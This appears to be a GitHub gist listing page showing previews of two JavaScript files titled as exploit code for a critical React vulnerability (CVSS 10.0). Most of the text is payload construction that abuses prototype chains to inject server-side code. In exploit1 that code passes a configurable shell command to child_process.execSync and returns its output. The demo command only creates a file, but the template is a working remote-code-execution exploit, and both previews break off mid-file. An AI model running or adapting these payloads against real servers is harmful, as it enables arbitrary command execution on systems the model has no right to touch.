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High on Javascript

Akshay Saini akshaymarch7

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High on Javascript
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akshaymarch7 / exploit1.js
Created December 16, 2025 05:01
React Critical Vulnerability (CVSS 10.0) - exploit1 code
(async () => {
// === CONFIGURATION ===
const cmd = "touch iWasHere"; // The command you want to run
const targetUrl = "/namaste"; // The endpoint to hit (relative to current domain)
console.log(`[*] Attempting to run command: ${cmd}`);
// 1. Construct the malicious payload
// This injects the command into a child_process.execSync call and throws the result in an error digest
const payloadJson = `{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('${cmd}').toString('base64');throw Object.assign(new Error('x'),{digest: res});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}`;
@akshaymarch7
akshaymarch7 / exploit0.js
Created December 16, 2025 04:59
React Critical Vulnerability (CVSS 10.0) - exploit0 code
(async () => {
// === CONFIGURATION ===
const targetUrl = "/namaste"; // The endpoint to hit (relative to current domain)
console.log(`[*] Attempting to run command: ${cmd}`);
// 1. Construct the malicious payload
// This injects the command into a child_process.execSync call and throws the result in an error digest
const payloadJson = `{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"console.log('meowmeow')//","_formData":{"get":"$1:constructor:constructor"}}}`;